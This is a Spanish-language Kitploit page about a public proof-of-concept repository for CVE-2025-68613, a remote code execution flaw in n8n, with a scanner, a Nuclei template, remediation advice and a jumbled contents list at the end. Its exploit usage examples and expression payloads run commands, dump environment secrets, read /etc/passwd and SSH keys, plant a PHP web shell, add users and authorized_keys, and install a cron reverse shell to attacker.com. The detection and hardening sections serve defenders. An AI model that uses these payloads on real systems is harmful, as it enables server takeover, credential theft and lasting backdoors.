CVE-2025-68613-POC — PoC público + Escáner e investigación para CVE-2025-68613: RCE crítico en n8n Workflow Automation mediante Inyección de Expresiones (CVSS 10.0). Incluye herramientas de detección, exploit completo y guía de remediación. | Kitploit

**Salida**:
- Código de salida 0: No vulnerable
- Código de salida 1: Versión indeterminada (puede estar parcheada u oculta)
- Código de salida 2: Versión vulnerable detectada

### 2. Plantilla de Nuclei: `CVE-2025-68613.yaml`
**Propósito**: Detección automatizada de vulnerabilidades y prueba básica de evaluación de expresiones

**Características**:
- Requiere token de autenticación válido
- Prueba la capacidad de inyección de expresiones
- Intenta leer el contexto global de Node.js (process.platform)
- Crea flujos de trabajo de prueba para validar el vector RCE
- Clasificación de gravedad Crítica CVSS 10.0

**Uso**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v

# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt

**Ejemplos de uso**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload info

# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload cmd --command "whoami"

# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload env

# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload read --file "/etc/passwd"

# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444

# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload write \  
  --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'

#### Paso 2: Expression Injection
Un atacante elabora una expresión maliciosa que escapa del sandbox previsto:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}

---

## Versiones Afectadas

### Rango Vulnerable

Todas las versiones de n8n desde **0.211.0** hasta las siguientes versiones son vulnerables:
- `0.211.0` → `1.120.3`
- `1.121.0`

### Versiones Parcheadas

La vulnerabilidad ha sido corregida en:
- ✅ `1.120.4` y posteriores en la rama 1.120.x
- ✅ `1.121.1` y posteriores en la rama 1.121.x
- ✅ `1.122.0` y todas las versiones más recientes

### Cómo Verificar tu Versión```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"

# Or check the admin panel
# Go to Settings → About → Version

#### 2. Leer archivos del servidor```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files

${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys

#### 4. Escribir Archivos Maliciosos```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence

${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access

#### 6. Establecer persistencia```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access

${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account

**Ejemplos de salida**```
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2

--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613

**Cómo funciona**:
1. Envía solicitudes HTTP a rutas comunes de n8n
2. Extrae metadatos de versión de HTML/encabezados
3. Decodifica la configuración codificada en base64 si está presente
4. Compara la versión contra rangos vulnerables
5. Informa si la instancia es vulnerable

### Método 3: Captura manual de banner```bash
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"

# Check headers
curl -I http://target:5678/ | grep -i "n8n"

# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz

### Indicadores de Explotación (IOCs)

**Indicadores en Registros**:
- Evaluaciones inusuales de expresiones en registros de flujo de trabajo
- Errores de expresión que contienen comandos del sistema
- Acceso a archivos sensibles (por ejemplo, referencias a /etc/passwd)
- Generación inesperada de procesos desde el proceso n8n

**Indicadores del Sistema**:
- Cuentas de usuario nuevas creadas en el servidor
- Claves SSH inesperadas en authorized_keys
- Nuevos trabajos cron o tareas programadas
- Modificaciones a archivos del sistema
- Conexiones de shell inversa desde el servidor n8n

---

## Remediación y Mitigación

### SOLUCIÓN PRINCIPAL: Actualización Inmediata

**Esta es la única solución completa para la vulnerabilidad.**

#### Paso 1: Respaldar tus Datos```bash
# Backup n8n database
cp -r /path/to/n8n/database ./backup/

# Backup workflows
n8n export --backup-dir ./backup/

#### Paso 3: Verificar la Actualización```bash
# Check version after update
curl http://localhost:5678/api/v1/health | grep version

# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"

#### 2. Monitorizar Cambios en el Flujo de Trabajo```
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly

#### 4. Ejecutar n8n con privilegios mínimos```bash
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user

# Run n8n as this user
sudo -u n8n-user n8n

# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest

#### 6. Containerización & Aislamiento```bash
# Run n8n in a restricted Docker container
docker run -d \
  --security-opt=no-new-privileges:true \
  --read-only \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  --tmpfs /tmp \
  -p 5678:5678 \
  n8nio/n8n:current-version

---

## Matriz de Evaluación de Riesgos

| Escenario | Nivel de Riesgo | Probabilidad | Impacto | Prioridad |
|----------|-----------|-----------|--------|----------|
| n8n sin parche, expuesto a internet | CRÍTICO | ALTA | Compromiso completo | 🔴 URGENTE |
| n8n sin parche, solo interno | ALTO | MEDIA | Riesgo de amenaza interna | 🟠 ALTO |
| n8n parcheado | BAJO | BAJA | N/A | ✅ Resuelto |
| n8n sin parche + restricciones de permisos | MEDIO | MEDIA | Limitado a usuarios de confianza | 🟡 MEDIO |

---

## Recuperación Paso a Paso Si se ha Visto Comprometido

### Acciones Inmediatas (Primera Hora)
1. **Aislar el sistema**: Desconectar de la red
2. **Detener el servicio**: `sudo systemctl stop n8n`
3. **Preservar registros**: Realizar copia de seguridad de todos los registros antes de limpiar
4. **Alertar al equipo**: Notificar al equipo de seguridad y a la dirección
5. **Evaluar el alcance**: Determinar a qué datos accedió n8n

### Investigación (Primer Día)
1. **Revisar registros de auditoría**: Buscar actividades sospechosas
2. **Analizar tráfico de red**: Buscar exfiltración de datos
3. **Verificar modificaciones de archivos**: Encontrar puertas traseras insertadas
4. **Revisar cuentas de usuario**: Buscar cuentas nuevas o modificadas
5. **Auditoría de credenciales**: Restablecer todas las claves API y contraseñas utilizadas por n8n

### Remediación (Días 2-7)
1. **Reconstrucción completa del sistema**: No solo actualizar, reconstruir desde una imagen limpia
2. **Rotación de credenciales**: Restablecer todas las contraseñas, claves API, tokens
3. **Parchear todo**: Actualizar todos los sistemas conectados
4. **Restaurar desde copia de seguridad**: Usar copias de seguridad limpias anteriores al compromiso
5. **Auditoría de seguridad**: Realizar una evaluación de seguridad completa

### Post-Incidente (Semanas 2+)
1. **Implementar monitoreo**: Configurar registro y alertas continuas
2. **Cambios de procesos**: Actualizar procedimientos de respuesta a incidentes
3. **Capacitación de usuarios**: Educar a los equipos sobre mejores prácticas de seguridad
4. **Escaneo de vulnerabilidades**: Escaneos regulares para problemas similares
5. **Revisión de cumplimiento**: Asegurar que se cumplan todas las regulaciones (GDPR, HIPAA, etc.)

---

## Prevención a Futuro

### Mejores Prácticas de Seguridad para n8n

1. **Mantener n8n Actualizado**
   - Habilitar actualizaciones automáticas si están disponibles
   - Suscribirse a los avisos de seguridad de n8n
   - Probar parches en un entorno de prueba antes de producción

2. **Control de Acceso**
   - Usar el principio de mínimo privilegio
   - Exigir contraseñas seguras y 2FA
   - Implementar SSO para implementaciones empresariales
   - Revisiones y auditorías de acceso periódicas

3. **Gestión de Flujos de Trabajo**
   - Revisar todos los flujos de trabajo en busca de lógica sospechosa
   - Implementar un proceso de revisión de código para los flujos de trabajo
   - Usar convenciones de nombres para identificar flujos de trabajo críticos
   - Realizar copias de seguridad periódicas de los flujos de trabajo

4. **Gestión de Credenciales**
   - Nunca almacenar credenciales en los flujos de trabajo
   - Usar variables de entorno para datos sensibles
   - Rotar las credenciales periódicamente
   - Auditar el acceso a las credenciales

5. **Monitoreo y Registro**
   - Habilitar un registro de auditoría exhaustivo
   - Monitorear actividades inusuales
   - Configurar alertas para operaciones sospechosas
   - Revisión y análisis periódicos de registros

6. **Seguridad de Red**
   - Ejecutar n8n en segmentos de red aislados
   - Restringir el acceso de red solo a los servicios necesarios
   - Usar VPN/cortafuegos para acceso remoto
   - Monitorear el tráfico de red en busca de anomalías

7. **Respuesta a Incidentes**
   - Crear un plan de respuesta a incidentes
   - Definir procedimientos de escalado
   - Realizar simulacros de seguridad periódicos
   - Mantener listas de contacto actualizadas

---

## Solución de Problemas

### Problema: "Exit code 1: Error de autenticación o explotación"

**Causas Comunes**:
1. **Credenciales incorrectas** (más común)
   - Solución: Verificar primero que las credenciales funcionen para el inicio de sesión en la interfaz web
   - Prueba: `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`

2. **El usuario no tiene permisos de creación de flujos de trabajo**
   - Solución: Usar una cuenta de administrador o de usuario con derechos de creación de flujos de trabajo
   - Verificar: Revisar el panel de administración → Usuarios y Permisos

3. **La versión está parcheada** (versión > 1.121.0)
   - Solución: Usar el escáner para verificar la versión primero: `python3 cve-2025-68613-scanner.py -u http://target:5678`
   - Esperado: El escáner debería informar "Vulnerable" (código de salida 2)

4. **La estructura de la API cambió** (las versiones más antiguas/nuevas pueden diferir)
   - Solución: Consultar el aviso de NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
   - Más probable si se prueban versiones fuera del rango documentado

5. **Bloqueo de red/cortafuegos**
   - Solución: Verificar la conectividad: `curl http://target:5678/`
   - Verificar: Reglas del cortafuegos, configuración de proxy, certificados SSL

### Problema: El escáner reporta falsos positivos (detección de versión incorrecta)

**Corregido en v1.02**: El escáner ahora utiliza la configuración de Sentry decodificada en base64 de las metaetiquetas en lugar de una expresión regular simple. Esto elimina los falsos positivos donde se detectaba la versión de Node.js como la versión de n8n.

**Lo que cambió**:
- Fuente principal: Extraer y decodificar `<meta name="n8n:config:sentry" content="[BASE64]">`
- Alternativa: Solo usa la expresión regular si la configuración de Sentry no está disponible
- Resultado: Detección precisa de la versión sin falsos positivos

**Para usar el escáner v1.02**:```bash
# Update to v1.02
git pull origin main

# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678

Más Populares

CVE-2025-68613-POC

🚨 CVE-2025-68613: Vulnerabilidad RCE Crítica en n8n

Tabla de Contenidos

Resumen

Datos Rápidos

¿Qué es n8n?

Por qué n8n es Infraestructura Crítica

Herramientas en este Repositorio

1. Escáner: cve-2025-68613-scanner.py

3. Exploit Completo: exploit_cve-2025-68613.py

Conceptos básicos de vulnerabilidad

¿Cuál es el problema?

El problema central

Por qué es tan peligroso

Detalles técnicos

Cómo funciona la vulnerabilidad

Paso 1: Evaluación de expresiones del flujo de trabajo

Paso 3: Ejecución de código

La Causa Raíz

Ruta de Ejecución de Código```

Versiones probadas y compatibilidad

Verificado funcional

Problemas conocidos

No probado

Declaración de soporte de versiones

Mecánica de explotación

¿Qué puede hacer un atacante?

1. Ejecutar comandos arbitrarios del sistema```javascript

3. Leer Variables de Entorno```javascript

5. Acceso a Servicios Conectados```javascript

Ejemplo de Escenario de Ataque

Impacto en el Mundo Real

Impacto en la Confidencialidad (ALTO)

Impacto en la Integridad (ALTO)

Impacto en la Disponibilidad (ALTO)

Ejemplos de Impacto Empresarial

Métodos de Detección

Método 1: Escáner de Detección de Versión

Método 2: Usando la plantilla de Nuclei

Single target

Multiple targets from file

Método 4: Reconocimiento de red```bash

Find n8n instances using Shodan

Use favicon hash detection

Paso 2: Actualizar n8n

Pull the latest patched version

Stop current instance

Start with new version

Debian/Ubuntu

Or manual download

MITIGACIÓN TEMPORAL: Mientras se actualiza

1. Restringir permisos del flujo de trabajo```

3. Aislamiento de red```bash

Restrict n8n network access

Or using iptables

5. Habilitar autenticación fuerte```

7. Auditoría Regular```bash

Monitor for suspicious activities

Check for new files in n8n directories

Monitor process activity

Check for unauthorized SSH keys

Review system logs

Problema: La ejecución REST devuelve error 500

Recursos y Referencias

Fuentes Oficiales

Información CVE

Recursos de Seguridad

Resumen

Versión del Documento

Descargo de Responsabilidad

1. Escáner: `cve-2025-68613-scanner.py`

3. Exploit Completo: `exploit_cve-2025-68613.py`